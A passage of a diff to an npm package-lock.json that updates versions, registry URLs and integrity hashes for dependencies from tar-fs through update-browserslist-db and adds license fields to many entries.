+      "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
+      "license": "ISC",
       "dependencies": {
         "chownr": "^2.0.0",
         "fs-minipass": "^2.0.0",
@@ -12783,10 +14460,11 @@
       }
     },
     "node_modules/tar-fs": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz",
-      "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==",
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.3.tgz",
+      "integrity": "sha512-090nwYJDmlhwFwEW3QQl+vaNnxsO2yVsd45eTKRBzSzu+hlb1w2K9inVq5b0ngXuLVqQ4ApvsUHHnu/zQNkWAg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "chownr": "^1.1.1",
         "mkdirp-classic": "^0.5.2",
@@ -12798,12 +14476,14 @@
       "version": "1.1.4",
       "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
       "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/tar-stream": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
       "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
+      "license": "MIT",
       "dependencies": {
         "bl": "^4.0.3",
         "end-of-stream": "^1.4.1",
@@ -12820,6 +14500,7 @@
       "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
       "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "@istanbuljs/schema": "^0.1.2",
         "glob": "^7.1.4",
@@ -12834,6 +14515,7 @@
       "resolved": "https://registry.npmjs.org/text-extensions/-/text-extensions-1.9.0.tgz",
       "integrity": "sha512-wiBrwC1EhBelW12Zy26JeOUkQ5mRu+5o8rpsJk5+2t+Y5vE7e842qtZDQ2g1NpX/29HdyFeJ4nSIhI47ENSxlQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10"
       }
@@ -12842,40 +14524,49 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
       "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/throat": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/throat/-/throat-5.0.0.tgz",
-      "integrity": "sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA=="
+      "integrity": "sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA==",
+      "license": "MIT"
     },
     "node_modules/through": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
-      "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg=="
+      "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
+      "license": "MIT"
     },
     "node_modules/through2": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz",
       "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "3"
       }
     },
     "node_modules/timers-ext": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz",
-      "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==",
+      "version": "0.1.8",
+      "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.8.tgz",
+      "integrity": "sha512-wFH7+SEAcKfJpfLPkrgMPvvwnEtj8W4IurvEyrKsDleXnKLCDw71w8jltvfLa8Rm4qQxxT4jmDBYbJG/z7qoww==",
+      "license": "ISC",
       "dependencies": {
-        "es5-ext": "~0.10.46",
-        "next-tick": "1"
+        "es5-ext": "^0.10.64",
+        "next-tick": "^1.1.0"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/tmp": {
       "version": "0.0.33",
       "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
       "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+      "license": "MIT",
       "dependencies": {
         "os-tmpdir": "~1.0.2"
       },
@@ -12884,15 +14575,31 @@
       }
     },
     "node_modules/to-buffer": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz",
-      "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg=="
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.1.tgz",
+      "integrity": "sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==",
+      "license": "MIT",
+      "dependencies": {
+        "isarray": "^2.0.5",
+        "safe-buffer": "^5.2.1",
+        "typed-array-buffer": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/to-buffer/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "license": "MIT"
     },
     "node_modules/to-fast-properties": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
       "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -12901,6 +14608,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
       "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+      "license": "MIT",
       "dependencies": {
         "is-number": "^7.0.0"
       },
@@ -12912,6 +14620,7 @@
       "version": "4.2.1",
       "resolved": "https://registry.npmjs.org/token-types/-/token-types-4.2.1.tgz",
       "integrity": "sha512-6udB24Q737UD/SDsKAHI9FCRP7Bqc9D/MQUV02ORQg5iskjtLJlZJNdN4kKtcdtwCeWIwIHDGaUsTsCCAa8sFQ==",
+      "license": "MIT",
       "dependencies": {
         "@tokenizer/token": "^0.3.0",
         "ieee754": "^1.2.1"
@@ -12941,13 +14650,15 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "BSD-3-Clause"
     },
     "node_modules/tough-cookie": {
       "version": "2.5.0",
       "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
       "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "psl": "^1.1.28",
         "punycode": "^2.1.1"
@@ -12959,12 +14670,22 @@
     "node_modules/tr46": {
       "version": "0.0.3",
       "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
-      "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw=="
+      "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==",
+      "license": "MIT"
     },
     "node_modules/traverse": {
-      "version": "0.6.7",
-      "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.7.tgz",
-      "integrity": "sha512-/y956gpUo9ZNCb99YjxG7OaslxZWHfCHAUUfshwqOXmxUIvqLjVO581BT+gM59+QV9tFe6/CGG53tsA1Y7RSdg==",
+      "version": "0.6.11",
+      "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.11.tgz",
+      "integrity": "sha512-vxXDZg8/+p3gblxB6BhhG5yWVn1kGRlaL8O78UDXc3wRnPizB5g83dcvWV1jpDMIPnjZjOFuxlMmE82XJ4407w==",
+      "license": "MIT",
+      "dependencies": {
+        "gopd": "^1.2.0",
+        "typedarray.prototype.slice": "^1.0.5",
+        "which-typed-array": "^1.1.18"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -12974,6 +14695,7 @@
       "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz",
       "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -12982,6 +14704,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz",
       "integrity": "sha512-pkonvlKk8/ZuR0D5tLW8ljt5I8kmxp2XKymhepUeOdCEfKpZaktSArkLHZt76OB1ZvO9bssUsDty4SWhLvZpLg==",
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^1.0.2"
       },
@@ -12993,15 +14716,17 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.0"
       }
     },
     "node_modules/tsconfig-paths": {
-      "version": "3.14.2",
-      "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.2.tgz",
-      "integrity": "sha512-o/9iXgCYc5L/JxCHPe3Hvh8Q/2xm5Z+p18PESBU6Ff33695QnCHBEjcytY2q19ua7Mbl/DavtBOLq+oG0RCL+g==",
+      "version": "3.15.0",
+      "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz",
+      "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/json5": "^0.0.29",
         "json5": "^1.0.2",
@@ -13014,6 +14739,7 @@
       "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
       "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "minimist": "^1.2.0"
       },
@@ -13026,20 +14752,23 @@
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
       "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/tslib": {
-      "version": "2.6.2",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz",
-      "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q=="
+      "version": "2.8.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+      "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+      "license": "0BSD"
     },
     "node_modules/tunnel-agent": {
       "version": "0.6.0",
       "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
       "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "safe-buffer": "^5.0.1"
       },
@@ -13051,18 +14780,21 @@
       "version": "0.14.5",
       "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
       "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
-      "dev": true
+      "dev": true,
+      "license": "Unlicense"
     },
     "node_modules/type": {
-      "version": "2.7.2",
-      "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz",
-      "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw=="
+      "version": "2.7.3",
+      "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz",
+      "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==",
+      "license": "ISC"
     },
     "node_modules/type-check": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
       "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "^1.2.1"
       },
@@ -13071,10 +14803,11 @@
       }
     },
     "node_modules/type-detect": {
-      "version": "4.0.8",
-      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
-      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.1.0.tgz",
+      "integrity": "sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -13084,6 +14817,7 @@
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
       "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
       "dev": true,
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=10"
       },
@@ -13092,29 +14826,30 @@
       }
     },
     "node_modules/typed-array-buffer": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz",
-      "integrity": "sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==",
-      "dev": true,
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
+      "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.1",
-        "is-typed-array": "^1.1.10"
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-typed-array": "^1.1.14"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/typed-array-byte-length": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz",
-      "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==",
-      "dev": true,
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz",
+      "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bind": "^1.0.8",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "is-typed-array": "^1.1.10"
+        "gopd": "^1.2.0",
+        "has-proto": "^1.2.0",
+        "is-typed-array": "^1.1.14"
       },
       "engines": {
         "node": ">= 0.4"
@@ -13124,16 +14859,18 @@
       }
     },
     "node_modules/typed-array-byte-offset": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz",
-      "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==",
-      "dev": true,
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz",
+      "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==",
+      "license": "MIT",
       "dependencies": {
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.2",
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "is-typed-array": "^1.1.10"
+        "gopd": "^1.2.0",
+        "has-proto": "^1.2.0",
+        "is-typed-array": "^1.1.15",
+        "reflect.getprototypeof": "^1.0.9"
       },
       "engines": {
         "node": ">= 0.4"
@@ -13143,14 +14880,20 @@
       }
     },
     "node_modules/typed-array-length": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz",
-      "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==",
-      "dev": true,
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",
+      "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bind": "^1.0.7",
         "for-each": "^0.3.3",
-        "is-typed-array": "^1.1.9"
+        "gopd": "^1.0.1",
+        "is-typed-array": "^1.1.13",
+        "possible-typed-array-names": "^1.0.0",
+        "reflect.getprototypeof": "^1.0.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -13160,22 +14903,47 @@
       "version": "0.0.6",
       "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
       "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/typedarray-to-buffer": {
       "version": "3.1.5",
       "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
       "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-typedarray": "^1.0.0"
       }
     },
+    "node_modules/typedarray.prototype.slice": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/typedarray.prototype.slice/-/typedarray.prototype.slice-1.0.5.tgz",
+      "integrity": "sha512-q7QNVDGTdl702bVFiI5eY4l/HkgCM6at9KhcFbgUAzezHFbOVy4+0O/lCjsABEQwbZPravVfBIiBVGo89yzHFg==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.9",
+        "es-errors": "^1.3.0",
+        "get-proto": "^1.0.1",
+        "math-intrinsics": "^1.1.0",
+        "typed-array-buffer": "^1.0.3",
+        "typed-array-byte-offset": "^1.0.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/uglify-js": {
-      "version": "3.17.4",
-      "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.17.4.tgz",
-      "integrity": "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g==",
+      "version": "3.19.3",
+      "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.19.3.tgz",
+      "integrity": "sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "optional": true,
       "bin": {
         "uglifyjs": "bin/uglifyjs"
@@ -13185,15 +14953,18 @@
       }
     },
     "node_modules/unbox-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
-      "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
+      "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bound": "^1.0.3",
         "has-bigints": "^1.0.2",
-        "has-symbols": "^1.0.3",
-        "which-boxed-primitive": "^1.0.2"
+        "has-symbols": "^1.1.0",
+        "which-boxed-primitive": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -13203,6 +14974,7 @@
       "version": "1.4.3",
       "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz",
       "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==",
+      "license": "MIT",
       "dependencies": {
         "buffer": "^5.2.1",
         "through": "^2.3.8"
@@ -13226,20 +14998,23 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "base64-js": "^1.3.1",
         "ieee754": "^1.1.13"
       }
     },
     "node_modules/undici-types": {
-      "version": "5.26.5",
-      "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz",
-      "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="
+      "version": "7.8.0",
+      "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.8.0.tgz",
+      "integrity": "sha512-9UJ2xGDvQ43tYyVMpuHlsgApydB8ZKfVYTsLDhXkFL/6gfkp+U8xTGdh8pMJv1SpZna0zxG1DwsKZsreLbXBxw==",
+      "license": "MIT"
     },
     "node_modules/uni-global": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/uni-global/-/uni-global-1.0.0.tgz",
       "integrity": "sha512-WWM3HP+siTxzIWPNUg7hZ4XO8clKi6NoCAJJWnuRL+BAqyFXF8gC03WNyTefGoUXYc47uYgXxpKLIEvo65PEHw==",
+      "license": "ISC",
       "dependencies": {
         "type": "^2.5.0"
       }
@@ -13248,12 +15023,14 @@
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.1.tgz",
       "integrity": "sha512-yCzhz6FN2wU1NiiQRogkTQszlQSlpWaw8SvVegAc+bDxbzHgh1vX8uIe8OYyMH6DwH+sdTJsgMl36+mSMdRJIQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/universalify": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz",
       "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 10.0.0"
       }
@@ -13262,14 +15039,15 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz",
       "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/update-browserslist-db": {
-      "version": "1.0.13",
-      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.13.tgz",
-      "integrity": "sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==",
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz",
+      "integrity": "sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==",
       "dev": true,
       "funding": [
         {
@@ -13285,9 +15063,10 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "escalade": "^3.1.1",
-        "picocolors": "^1.0.0"
+        "escalade": "^3.2.0",
+        "picocolors": "^1.1.1"
       },
       "bin": {
         "update-browserslist-db": "cli.js"
@@ -13300,6 +15079,7 @@
       "version": "4.4.1",
       "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
       "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "punycode": "^2.1.0"
       }
@@ -13308,6 +15088,7 @@
       "version": "0.10.3",
       "resolved": "https://registry.npmjs.org/url/-/url-0.10.3.tgz",
